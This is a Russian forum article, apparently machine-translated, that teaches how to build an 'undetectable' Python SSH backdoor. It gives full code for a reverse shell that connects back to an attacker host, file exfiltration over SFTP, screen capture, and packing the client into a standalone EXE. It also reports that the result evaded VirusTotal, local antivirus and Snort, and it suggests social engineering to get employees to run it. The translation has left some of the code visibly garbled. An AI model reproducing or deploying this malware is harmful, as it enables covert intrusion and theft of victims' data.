Статья Создание необнаруживаемого настраиваемого бэкдора SSH в Python [A - Я]

NeKo

Публикатор
Команда форума
15 Ноя 2020
60
57
Введение
Во время тестирования на проникновение иногда вы застреваете в безопасной среде, в которой все серверы и конечные клиенты полностью пропатчены, обновлены, защищены межсетевым экраном и установлены антивирусные программы. Правила сетевого брандмауэра настроены правильно, и все внутренние клиенты подключены к Интернету через NAT. Сетевой датчик IDS / IPS отслеживает трафик, а вы все еще хотите получить доступ!

В такой ситуации атака на стороне клиента и знание программирования - ваши лучшие друзья. Атака на стороне клиента считается очень опасной угрозой, особенно когда она сочетается со скоординированной атакой социальной инженерии на сотрудников, не знакомых с областью ИТ-безопасности. Например, независимо от ваших правил безопасности, если вы можете обманом заставить правильного человека открыть неправильное (вредоносное) программное обеспечение, система может быть скомпрометирована.

В этой статье мы создадим простой, но мощный и необнаруживаемый бэкдор SSH, написанный на Python, с некоторыми встроенными функциями, такими как SFTP. На заключительном этапе мы экспортируем этот бэкдор как автономный и протестируем его против онлайн-сканеров вирусов, а также в смоделированной безопасной среде в VirtualBox.

После прочтения этой статьи…
У вас будет отличный пример подделки Python для тестирования на проникновение, и вы сможете использовать или настроить код для реального случая. Кроме того, вы будете знать об эффективности атак на стороне клиента и о важности программирования собственного оружия, когда другие инструменты не работают в таком жестком сценарии.

Обзор лабораторной среды

Отражая реальный сценарий, давайте взглянем на нашу схему сети, которую я построил в VBox, чтобы проиллюстрировать безопасную среду:





Атакующий компьютер
> IP-адрес: 10.0.2.15/24
> ОС: BackTrack 5 R3
> Версия Python: 2.6

Машина жертвы
> IP-адрес: 192.168.1.15/24
> ОС: Windows 7 SP1 32 бит
> Брандмауэр Zone Alarm и антивирус установлены (бесплатная версия)
> Версия Python: 2.7 (установлена только для демонстрации)

Сетевая инфраструктура
> Брандмауэр Pfsense с интегрированной службой SNORT IDS / IPS
> Pfsense выполняет преобразование NAT машины жертвы [192.168.1.15] в ее интерфейс WAN [10.0.2.1]
> 2 виртуальных коммутатора, созданных VBox

Создание машин с нуля внутри VBox выходит за рамки нашей статьи; однако я должен вкратце показать вам конфигурацию на случай, если кто-то захочет воспроизвести сценарий.

Конфигурация Pfsense

* Для интерфейса WAN (внешнего) [10.0.2.1] весь входящий трафик запрещен по умолчанию, если он не инициирован изнутри [интерфейс LAN], просто потому, что pfSense - это межсетевой экран с отслеживанием состояния.





* Для интерфейса LAN (внутреннего) [192.168.1.0/24], скорее всего, вы увидите, что в исходящем направлении разрешены только необходимые порты, в зависимости от потребностей бизнеса. В этом случае я предположил, что 80 443, и 22 будут разрешены.





* Все наши внутренние клиенты [192.168.1.0/24] будут преобразованы через NAT в интерфейс WAN, поэтому для атакующей машины они будут отображаться как 10.0.2.1.





* SNORT отслеживает трафик в обоих направлениях (входящий и исходящий) для интерфейсов pfSense LAN и WAN.





* Подписи SNORT обновлены на момент написания этой статьи.




Примечание. В дополнение к включенным по умолчанию правилам SNORT я вручную включил все правила для перечисленных ниже категорий, потому что они в значительной степени ориентированы на вредоносную активность, инициированную из $ HOME_NET (где находится Win 7) во внешний мир


$ EXTERNAL_NET (где находится BT): -

GPLv2_community.rules
Emerging-trojan.rules
Emerging-malware.rules


* Здесь у нас Win 7 обновлен с журналом истории:






* Встроенное ПО сигнализации зоны и антивирус работают, а его подпись в БД также обновлена.







Подход

1-Как работает атака
2-Создание SSH-туннеля
3-Обратная оболочка
4-SFTP
5-Напишите свою собственную особенность (получение снимка экрана)
6-Кодовое завершение в EXE
7-Проверка

Как работает атака




Главный ключ к успешной атаке на стороне клиента - это завоевать доверие сотрудников, которые скачивают и открывают ваше вредоносное ПО. Есть слишком много способов сделать это; на этапе разведки вы можете поискать вокруг и посмотреть, какие темы интересуют этого сотрудника. Возможно, у него / нее есть сообщение в Facebook с просьбой предоставить бесплатное программное обеспечение для загрузки видео с YouTube! Уловили мою точку зрения? Я предоставлю это вашему воображению, так как у каждого тестера на проникновение свой путь.

Как только жертва откроет «выполнить» (ваш бэкдор), TCP SYN-запрос будет инициирован обратно на злоумышленник, который должен прослушивать и ждать входящих запросов на порт 22, чтобы завершить трехстороннее рукопожатие TCP и установить SSH-туннель в верхней части сокета TCP.

Внутри этого защищенного канала мы будем передавать произвольные команды нашей жертве и заставлять ее отправлять нам результат выполнения. Шифрование - отличный способ обойти датчики IDS / IPS, так как они будут полностью скрыты от типа передаваемого трафика. Создание «обратной оболочки» также является хорошо известным методом обхода правил FW, поскольку он, скорее всего, блокирует все входящие подключения, но вы не можете заблокировать все исходящие подключения, поскольку они являются обязательными для бизнес-нужд.

Создание туннеля SSH

Python имеет множество сторонних библиотек, которые упрощают реализацию SSH и обеспечивают высокий уровень пользователя. Я буду использовать библиотеку Paramiko, так как она имеет потрясающие функции и позволяет нам программировать простой канал клиент-сервер и многое другое!

Прежде чем продолжить, я рекомендую вам заглянуть в папку под названием «demos» внутри пакета Paramiko. Автор Paramiko проделал огромную работу, объяснив, как использовать Paramiko в различных сценариях с помощью демонстрационных скриптов. Интересующие нас файлы:

* demo_server.py : демо для простого SSH-сервера [BackTrack в нашем случае]
* demo_simple.py : демо для простого SSH-клиента [Windows 7 в нашем случае]
* demo_sftp.py : демо для простого SFTP-клиента [ Windows 7 в нашем случае]
* rforward.py : демонстрация обратного перенаправления портов [Проверьте раздел для себя]

В этом разделе мы запрограммируем серверную и клиентскую стороны и будем передавать простые строки по каналу SSH.

Сторона сервера

Python:
import socket
import paramiko
import threading
import sys

host_key = paramiko.RSAKey(filename=’/root/Desktop/test_rsa.key’)

class Server (paramiko.ServerInterface):
def _init_(self):
self.event = threading.Event()
def check_channel_request(self, kind, chanid):
if kind == ‘session’:
return paramiko.OPEN_SUCCEEDED
return paramiko.OPEN_FAILED_ADMINISTRATIVELY_PROHIBITED
def check_auth_password(self, username, password):
if (username == ‘root’) and (password == ‘toor’):
return paramiko.AUTH_SUCCESSFUL
      return paramiko.AUTH_FAILED

# Пробуйте:
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
sock.bind((‘10.0.2.15’, 22))
sock.listen(100)
print ‘[+] Listening for connection …’
client, addr = sock.accept()
except Exception, e:
print ‘[-] Listen/bind/accept failed: ‘ + str(e)
sys.exit(1)
print ‘[+] Got a connection!’

# Пробуйте:
t = paramiko.Transport(client)

# Пробуйте:
t.load_server_moduli()
except:
print ‘[-] (Failed to load moduli — gex will be unsupported.)’
raise
t.add_server_key(host_key)
server = Server()
try:
t.start_server(server=server)
except paramiko.SSHException, x:
       print ‘[-] SSH negotiation failed.’

chan = t.accept(20)
print ‘[+] Authenticated!’
print chan.recv(1024)
   chan.send(‘Yeah i can see this’)

except Exception, e:
print ‘[-] Caught exception: ‘ + str(e. class ) + ‘: ‘ + str(e)
try:
t.close()
except:
pass
   sys.exit(1)

Код начинается с определения местоположения ключа RSA, который будет использоваться для подписи и проверки.

Данные SSH2. Я использовал test_rsa.key, который был упакован внутри пакета Paramiko.

1 «Сервер класса» определяет интерфейс для управления поведением Paramiko в режиме сервера и включает необходимые функции, которые обрабатывают запросы, поступающие со стороны клиента. Например, def check_auth_password определяет, правильны ли заданные имя пользователя и пароль, предоставленные клиентом во время аутентификации.

«def check_channel_request» называется на нашем сервере , когда клиент запрашивает канал. После завершения аутентификации, в этом случае мы определили тип канала «sesion» только как разрешенный , другие типы будут [PTY, Shell], но помните, что
нам не понадобится клиент (жертва) для установления (или даже запроса) терминал PTY / Shell вернулся к нам.

Затем мы использовали socket, встроенную библиотеку Python для создания объекта сокета TCP с именем

2 'sock' и назначьте некоторые параметры, такие как (socket.SOL_SOCKET, socket.SO_REUSEADDR, 1), что позволяет нам привязать IP-адрес, который ранее подключался и покинул сокет в TIME_WAIT. Затем мы определили, что привязываем наш адрес интерфейса 10.0.2.15 к порту 22 и прослушиваем 100 соединений (на самом деле нас интересует только одно соединение от нашей жертвы). sock.accept () возвращает объект сокета, хранящийся в переменной с именем
«client» .

Наконец, мы передали объект сокета «client » классу «transport» , который отвечает за

3 согласование зашифрованного сеанса, аутентификация, а затем создание потоковых туннелей, называемых каналом «chan» в рамках сеанса. Мы взаимодействуем с нашей жертвой внутри канала через 'chan.send ' и ' chan.recv ' функции.

Если все прошло нормально, мы должны отправить ( «Да, я вижу это» ) клиенту и распечатать то, что отправил клиент.
Сторона клиента
В сетевом программировании клиентская сторона обычно менее сложна, чем серверная. Вы можете заметить это по четырем линиям, необходимым для установления канала.
Python:
import paramiko
import threading

client = paramiko.SSHClient()
client.set_missing_host_key_policy(paramiko.AutoAddPolicy())
client.connect(‘10.0.2.15′, username=’root’, password=’toor’)
chan = client.get_transport().open_session()
chan.send(‘Hey i am connected 🙂 ‘)
print chan.recv(1024)
client.close

Класс SSHClient () заботится о большинстве аспектов аутентификации и открытия каналов.

1 paramiko.classAutoAddPolicy ()
автоматически добавляет имя хоста и ключ хоста сервера к локальному объекту HostKeys и сохраняет его, поэтому нам не нужно беспокоиться об уведомлении о распознавании отпечатка ключа сервера, которое появляется при первом подключении к серверу SSH. Затем мы определяем IP-адрес нашей атакующей машины [10.0.2.15] с учетными данными.

client.get_transport (). open_session () ' r устанавливает новый канал типа' session 'из

2 сервер ( до сих пор помню «def check_channel_request»ПЗУ код сервера). Если все
идет нормально, мы должны отправить ( «Hey i am connected 🙂» ) на сервер и распечатать то, что сервер отправил.

Быстрый тест

Прежде чем двигаться дальше, я уже установил компилятор Python на машину с Windows 7, чтобы мы могли быстро протестировать наш код, однако на последнем этапе мы скомпилируем весь код в один автономный EXE-файл, который будет протестирован в нашей безопасной среде.

* Запуск скрипта сервера

Bash:
root@bt:~# python /root/Desktop/Server Part 1.py
[+] Listening for connection …
* Проверьте порт прослушивания на нашем Backtrack
Код:
root@bt:~# netstat -antp | grep “22”
tcp 0 10.0.2.15:22 0.0.0.0:* LISTEN 1683/python
* Запуск клиентского скрипта
Bash:
C:UsersHussamDesktop>python “Client Part 1.py”
* Просмотр вывода на стороне сервера
Bash:
root@bt:~# python /root/Desktop/Server Part 1.py
[+] Listening for connection … [+] Got a connection!
[+] Authenticated!
Hey i am connected 🙂

Отлично, все работает, как ожидалось, мы видим выход канала с обеих сторон, как мы запрограммировали в сценарии.

Обратная оболочка

Paramiko не предназначен для использования для тестирования на проникновение, автор «как и другие» предполагал, что клиент будет выполнять команды на сервере, и это происходит с помощью функции chan.exec_command (command) . Однако в нашем сценарии все наоборот, поскольку сервер (хакер) - это тот, кто будет выполнять команды удаленно на клиенте (жертве). Чтобы преодолеть это, мы инициируем подпроцесс на стороне клиента и на основе команд, полученных от сервера через chan.RECV () , о ур клиент будет посылать выходной обратно через chan.send().

Сторона сервера


# Добавьте следующий код после 'chan.send (' Yeah i can see this')' из предыдущего скрипта сервера.
Python:
while True:
   command= raw_input("Enter command: ").strip(‘n’)
   chan.send(command)
   print chan.recv(1024) + ‘n’

Нам просто нужно получить команду от пользователя через raw_input и отправить ее клиенту для выполнения, а затем распечатать результат.

Сторона клиента

Python:
import subprocess


while True:
    command = chan.recv(1024)
    try:
        CMD = subprocess.check_output(command, shell=True)
        chan.send(CMD)
    except Exception,e:
        chan.send(str(e))

«subprocess.check_output» выполняет полученную команду и возвращает ее вывод в виде байтовой строки в переменную « CMD », которая передается обратно на сервер. Обратите внимание, что мы используем обработку исключений с subprocess.check_output, потому что, если злоумышленник неправильно набрал команду, это вызовет исключение, и мы потеряем нашу оболочку. Мы точно этого не хотим.

Быстрый тест

* Запустите серверный скрипт, а затем клиентский скрипт и выполните несколько команд, например «ipconfig, chdir», для проверки удаленного выполнения.

Bash:
root@bt:~# python /root/Desktop/Server Part 2.py
[+] Listening for connection …
[+] Got a connection!
[+] Authenticated! Hey i
am connected 🙂 Enter
command: ipconfig

Windows IP Configuration

Ethernet adapter Local Area Connection:
Connection-specific DNS Suffix . :
Link-local IPv6 Address . . . . . : fe80::9012:530:e307:c322%11
IPv4 Address. . . . . . . . . . . : 192.168.1.15
Subnet Mask . . . . . . . . . . . : 255.255.255.0
Default Gateway . . . . . . . . . : 192.168.1.1
Tunnel adapter isatap.{77D9EB79-91D3-45A9-A0BE-ED645CC08DF9}:
Media State . . . . . . . . . . . : Media disconnected
Connection-specific DNS Suffix . :
Tunnel adapter Teredo Tunneling Pseudo-Interface:
Media State . . . . . . . . . . . : Media disconnected
Connection-specific DNS Suffix . :

Введите команду: chdir

C:UsersHussamDesktop

Введите команду: arp -a

Interface: 192.168.1.15 — 0xb
Internet Address Physical Address Type
192.168.1.1 08-00-27-b3-a2-7d dynamic
192.168.1.255 ff-ff-ff-ff-ff-ff static
224.0.0.22 01-00-5e-00-00-16 static
224.0.0.252 01-00-5e-00-00-fc static
239.255.255.250 01-00-5e-7f-ff-fa static

Мы успешно выполнили команды удаленно через зашифрованный канал SSH. Перейдем к дальнейшим действиям.

SFTP

Передача файлов с помощью вашей жертвы становится очень удобной, особенно на этапах после эксплуатации, таких как утечка конфиденциальных документов или загрузка программного обеспечения для поворота. На данный момент у нас есть несколько вариантов:

Худшее: мы можем передавать файлы через сокет TCP, но этот метод может повредить файл во время передачи, особенно если файл большой. Фактически, именно поэтому был разработан целый протокол (FTP).

Лучшее: запрограммировать SFTP-сервер с помощью Paramiko, но программирование SFTP-сервера может быть довольно сложным.

Самый простой: запустить сервер OpenSSH на другой хакерской машине или привязать его к другому адресу сетевой карты. Нам это нужно, потому что порт 22 зарезервирован для нашего сервера Python на IP: 10.0.2.15.

SFTP-сервер

Чтобы избежать увеличения сложности кода на стороне сервера, я выберу последний вариант и использую OpenSSH со следующей конфигурацией:

Bash:
root@bt:~# cat /etc/ssh/sshd_config
…
Port 22
ListenAddress 10.0.2.16
ChallengeResponseAuthentication no
Subsystem sftp internal-sftp
UsePAM no
…

SFTP-клиент

Python:
def sftp (local_path, name):
try:
transport = paramiko.Transport (('10.0.2.16', 22))
transport.connect (username = 'root', password = 'toor')
sftp = paramiko.SFTPClient .from_transport (transport)
sftp.put (local_path, '/ root / Desktop / SFTP-Upload /' + name)
sftp.close ()
transport.close ()
return '[+] Done'
except Exception, e:
   return str ( д)

while True:
command = chan.recv (1024)
if ‘grab’ in command:
grab, name, path = command.split ('*')
chan.send (sftp (path, name))

Создайте условие, срабатывающее при получении определенного слова " захват ", чтобы указать, что нам нужно

1 для передачи файла с машины жертвы. Для передачи файла нам нужны необходимые параметры, такие как имя файла, путь к файлу на машине жертвы и каталог хранения обратно на стороне злоумышленника. Сервер должен отправить эту информацию в определенной формуле, чтобы мы могли разделить эти параметры и передать их нашей функции SFTP.

В этом случае я использовал звездочку «*» для разделения этих параметров. Например, на стороне сервера, если мы отправим:

grab*photo*C:UsersHussamDesktopphoto.jpeg

используя функцию разделения, мы можем разбить указанное выше предложение на 3 переменные на основе '*'

grab,name,path = command.split(‘*’)

> Переменная grab будет содержать строку захвата, которую мы получили от сервера

> переменная name будет содержать имя файла, который будет загружен на сервер, в данном случае это

Фото

> Переменная path будет содержать путь 'photo', в данном случае это

C: UsersHussamDesktopphoto.jpeg

Как только функция SFTP получит путь и имя файла, она инициирует новый сеанс SSH через порт 22 обратно на нашу машину BackTrack. После аутентификации и установления SSH-туннеля мы можем начать передачу фотографии по протоколу FTP, и она будет сохранена в предварительно созданном каталоге с именем ' / root / Desktop / SFTP-Upload /' благодаря sftp.put (local_path, '/ root / Desktop / SFTP-Upload / '+ name)

Если все прошло нормально, функция SFTP вернет нам строку «[+] Готово» через наш предыдущий канал, в противном случае она распечатает возникшее исключение.

Быстрый тест

Bash:
root@bt:~# service ssh start
ssh start/running, process 1578


root@bt:~# netstat -antp | grep "22"
tcp       0      10.0.2.16.22            0.0.0.0:*              LISTEN     1578/sshd


root@bt:~# python /root/Desktop/Server Part 2.py
[+] Listening for connection … [+] Got a connection!
[+] Authenticated!
Hey i am connected 🙂 Enter command: dir Data Volume in drive C has no label.
Volume Serial Number is 1471-329C


Directory of C:UsersHussamDesktopData


11/20/2013    07:27 PM    <DIR>    .
11/20/2013 07:27 PM <DIR> ..
11/01/2013 05:20 PM 0 important.txt
11/17/2013 01:17 AM 7,346 Nancy_Ajram.jpeg
11/13/2013 02:50 PM 98,743,826 Sales Report.pdf
3 File(s) 98,751,172 bytes
2 Dir(s) 14,744,477,696 bytes free

Введите команду: grab * Nancy_Ajram * C: UsersHussamDesktopDataNancy_Ajram.jpeg
[+] Done


И мы видим изображение ниже в папке SFTP-Upload, вуаля!



Напишите свою собственную особенность (получение снимка экрана)

В этой части мы узнаем, как настроить предыдущий скрипт для добавления дополнительных функций в зависимости от индивидуальных потребностей. Попробуем воспроизвести вариант получения снимка экрана в Metasploit Meterpreter.

Сторона клиента

Python:
from PIL import ImageGrab


def screenshot():
try:
im = ImageGrab.grab()
im.save(‘C:UsersHussamDesktopscreenshot.png’)
except Exception,e:
return str(e)
   return sftp(‘C:UsersHussamDesktopscreenshot.png’,’screenshot’)


while True:


command = chan.recv(1024)
if ‘grab’ in command:
grab,name,path = command.split(‘*’)
       chan.send( sftp(path,name) )


elif ‘getscreen’ in command:
chan.send ( screenshot() )

1 Подобно тому, что мы сделали в SFTP ' grab ', мы добавили еще один оператор if в

порядок, в котором говорится: «Если мы получим ' getscreen ' от нашего сервера, мы вызовем def screenshot ()

функцию и отправьте результат этой функции обратно на сервер ».

2 Защита скриншот () функция использует « I mageGrab » класс от Python Image Library (PIL) , где он имеет встроенную функцию , чтобы сделать снимок экрана, сохраняя вывод в C: UsersHussamDesktopscreenshot.png» , то мы использовали функцию SFTP для передачи его нас.

Быстрый тест

Bash:
root@bt:~# service ssh start
ssh start/running, process 1623
root@bt:~# python /root/Desktop/Server Part 2.py
[+] Listening for connection … [+] Got a connection!
[+] Authenticated!
Hey i am connected 🙂
Enter command: getscreen
[+] Done

Enter command: chdir
C:UsersHussamDesktop

Проверив наш каталог «Загрузить», мы увидим там наше новое изображение:






Перенос кода в EXE

Есть несколько способов преобразовать скрипт Python в автономный EXE. Для этого мы будем использовать py2exe.

Шаг 1. Сгруппируйте наши клиентские функции в один файл с именем «Client.py»

Python:
import paramiko
import threading
import subprocess
from PIL import ImageGrab


def sftp(local_path,name):
try:
transport = paramiko.Transport((‘10.0.2.16’, 22))
transport.connect(username = ‘root’, password = ‘toor’)
sftp = paramiko.SFTPClient.from_transport(transport)
sftp.put(local_path, ‘/root/Desktop/SFTP-Upload/’+name)
sftp.close()
transport.close()
return ‘[+] Done’
except Exception,e:
       return str(e)


def screenshot():
try:
im = ImageGrab.grab()
im.save(‘C:UsersHussamDesktopscreenshot.png’)
except Exception,e:
return str(e)
       return sftp(‘C:UsersHussamDesktopscreenshot.png’,’screenshot’)


client = paramiko.SSHClient()
client.set_missing_host_key_policy(paramiko.AutoAddPolicy())
client.connect(‘10.0.2.15′, username=’root’, password=’toor’)
chan = client.get_transport().open_session()
chan.send(‘Hey i am connected 🙂 ‘)
   print chan.recv(1024)


while True:
command = chan.recv(1024)
if ‘grab’ in command:
grab,name,path = command.split(‘*’)
           chan.send( sftp(path,name) )


elif ‘getscreen’ in command:
           chan.send ( screenshot() )


else:
try:
CMD = subprocess.check_output(command, shell=True)
chan.send(CMD)
except Exception,e:
           chan.send(str(e))

Шаг 2. Подготовка сценария «setup.py», чтобы указать, какие параметры нам нужны в нашем выводе.

Python:
from distutils.core import setup
import py2exe , sys, os


setup(
   options = {‘py2exe’: {‘bundle_files’: 1}},


windows = [{‘script’: "Client.py"}],
zipfile = None,
)

{'bundle_files': 1} объединит скрипт и необходимые ему библиотеки DLL в один выходной файл exe, поскольку нам не нужен zipfile (zipfile = None)

1 {'bundle_files': 1} объединит скрипт и необходимые ему библиотеки DLL в один выходной файл exe, так как нам не нужен zipfile ( zipfile = None)

Шаг 3. Запуск py2exe

C: UsersHussamDesktop> python setup.py py2exe

Наш результат будет в папке dist с именем Client.exe.

Проверка

Уклонение от вирусов
Пришло время шоу. Загрузив наш Client.exe в онлайн-сканер virustotal, мы получили 0 обнаружений.



SNORT Тестирование

Перед запуском нашего автономного бэкдора на машине жертвы я быстро создал несколько пакетов, инициированных из внутренней сети (192.168.1.0/24), которые запускают пару подписей SNORT, чтобы убедиться, что он работает.

Python:
from scapy.all import *


packet = IP(src=’192.168.1.15′ , dst=’8.8.8.8′)
segment = UDP(dport=53)
payload =
‘x33x33x01x00x00x01x00x00x00x00x00x00x07’+’counter’+’x05’+’yadro’+’
x02’+’ru’+’x00x00x01x00x01′ rocket = packet/segment/payload
send(rocket)


packet = IP(src=’192.168.1.15′ , dst=’10.0.2.15′)
segment = ICMP()
payload = ‘Echo This’
rocket = packet/segment/payload send(rocket)

Приведенный выше код должен запускать следующие сигнатуры от emerge-trojan.rules:





И, честно говоря, SNORT смог адресовать эти пакеты и посчитал их вредоносными.



Примечание. Прежде чем продолжить, я очистил эти журналы.

Уклонение от местного антивирусного ПО

* Сканирование нашего бэкдора на Win 7 с помощью Zone alarm AV, и мы не получили заражения.



* Настройка слушателей на машине злоумышленника в последний раз:
Bash:
root @ bt: ~ # netstat -antp | grep «22»

tcp00 10.0.2.15:220.0.0.0:*Listen1732 /Python
tcp00 10.0.2.16:220.0.0.0:*Listen1723 / sshd

* Открытие бэкдора и тестирование работы нашего скрипта как автономного EXE:

Bash:
root@bt:~# python /root/Desktop/Server Part 2.py
[+] Listening for connection … [+] Got a connection!
[+] Authenticated!
Hey i am connected 🙂
Enter command: ipconfig


Windows IP Configuration


Ethernet adapter Local Area Connection:
Connection-specific DNS Suffix . :
Link-local IPv6 Address . . . . . : fe80::9012:530:e307:c322%11
IPv4 Address. . . . . . . . . . . : 192.168.1.15
Subnet Mask . . . . . . . . . . . : 255.255.255.0
Default Gateway . . . . . . . . . : 192.168.1.1
Tunnel adapter isatap.{77D9EB79-91D3-45A9-A0BE-ED645CC08DF9}:
Media State . . . . . . . . . . . : Media disconnected
Connection-specific DNS Suffix . :
Tunnel adapter Teredo Tunneling Pseudo-Interface:
Media State . . . . . . . . . . . : Media disconnected
Connection-specific DNS Suffix  . :


Enter command: dir
Volume in drive C has no label.
Volume Serial Number is 1471-329C


Directory of C:UsersHussamDesktop


11/24/2013    07:42 PM    <DIR>    .
11/24/2013 07:42 PM <DIR> ..
11/24/2013 07:35 PM 8,825,272 Client.exe
11/24/2013 01:32 AM 1,405 Client.py
11/01/2013 07:43 PM 13,335 cmd – Shortcut.lnk
11/20/2013 07:27 PM <DIR> Data
11/17/2013 12:52 AM <DIR> EXE
11/12/2013 11:14 PM 952 FreeSSHd.lnk
11/03/2013 09:51 PM 2,555 IDLE (Python GUI).lnk
11/12/2013 06:17 PM 61,440 nc.exe
11/23/2013 11:34 PM 345 New Text Document.txt
11/14/2013 08:42 PM <DIR> Nmap
11/04/2013 01:57 AM 311,296 plink.exe
11/14/2013 09:59 PM 78 portscan.bat
11/12/2013 09:13 PM 2,489,024 Procmon.exe
11/14/2013 10:19 PM 387,776 PsExec.exe
11/14/2013 10:22 PM 232,232 pslist.exe
11/04/2013 02:37 PM 495,616 putty.exe
1


Enter command: dir Data
1/17/2013 07:24 PM <DIR> pwdump7
11/17/2013 10:04 PM 5,589,154 Python-windows-privesc-check2.exe
11/24/2013 07:15 PM 245 setup.py
11/02/2013 08:35 PM 471 ShareVM (vboxsrv) (E) – Shortcut.lnk
11/06/2013 01:27 AM <DIR> SSH Bot
11/16/2013 11:45 PM 1,317 SSHClient2.py
11/02/2013 07:43 PM 3,059 Tripwire SecureCheq.lnk
11/17/2013 08:56 PM <DIR> upx391w
11/18/2013 06:10 PM <DIR> wce_v1.0
11/05/2013 06:43 PM 1,702 Wireshark.lnk
11/01/2013 09:06 PM 1,448 XAMPP Control Panel.lnk
11/16/2013 02:49 PM 2,465,360 zaSetupWeb_120_104_000.exe
09/01/2013 05:14 PM 853 Torrent.lnk
22 File(s) 20,884,935 bytes
    9 Dir(s)  14,805,999,616 bytes free


Enter command:
Volume in drive C has no label. Volume Serial Number is 1471-329C


Directory of C:UsersHussamDesktopData


11/20/2013    07:27 PM    <DIR>    .
11/20/2013 07:27 PM <DIR> ..
11/01/2013 05:20 PM 0 important.txt
11/17/2013 01:17 AM 7,346 Nancy_Ajram.jpeg
11/13/2013 02:50 PM 98,743,826 Sales Report.pdf
3 File(s) 98,751,172 bytes
   2 Dir(s)  14,805,999,616 bytes free

Введите команду: захват * SalesRep * C: UsersHussamDesktopDataSales Report.pdf

[+] Done

Ввeдите команду: getscreenshot

[+] Done


Таким образом, результаты выглядят точно так же, как и на этапе реализации, и переносятся в EXE
не повлияло на функциональность.

* Проверка подключения


Bash:
C:UsersHussamDesktop>netstat -an | find "22"
TCP 192.168.1.15:49226 10.0.2.15:22 ESTABLISHED
TCP   192.168.1.15:49242    10.0.2.16:22    ESTABLISHED


root@bt:~# netstat -antp | grep "22"
tcp 0 0 10.0.2.15:22 10.0.2.1:57590 ESTABLISHED 1732/python
tcp    0    0 10.0.2.16:22    10.0.2.1:40539    ESTABLISHED 2218/sshd:  root@not

tcp00 10.0.2.15:2210.0.2.1:57590ESTABLISHED 1732 / python
tcp00 10.0.2.16:2210.0.2.1:40539ESTABLISHED 2218 / sshd:
root @ not



* И самое главное, мы получили 0 предупреждений от SNORT как в LAN, так и в WAN.

Интерфейсы.



Замечательно

Брось себе вызов


Функции Python Paramiko еще не завершены. SSH поддерживает причудливую функцию, называемую «обратная переадресация портов», которую можно использовать для поворота. Предположим, есть потенциальная цель, которая может быть достигнута Win 7, но не напрямую из BackTrack; мы можем заставить Win 7 туннелировать наш трафик туда и обратно этой новой цели. Попробуйте добавить эту функцию в наш Client.py .

Подсказка : ознакомьтесь с демонстрационным скриптом rforward.py и используйте OpenSSH в качестве сервера.
 
Последнее редактирование: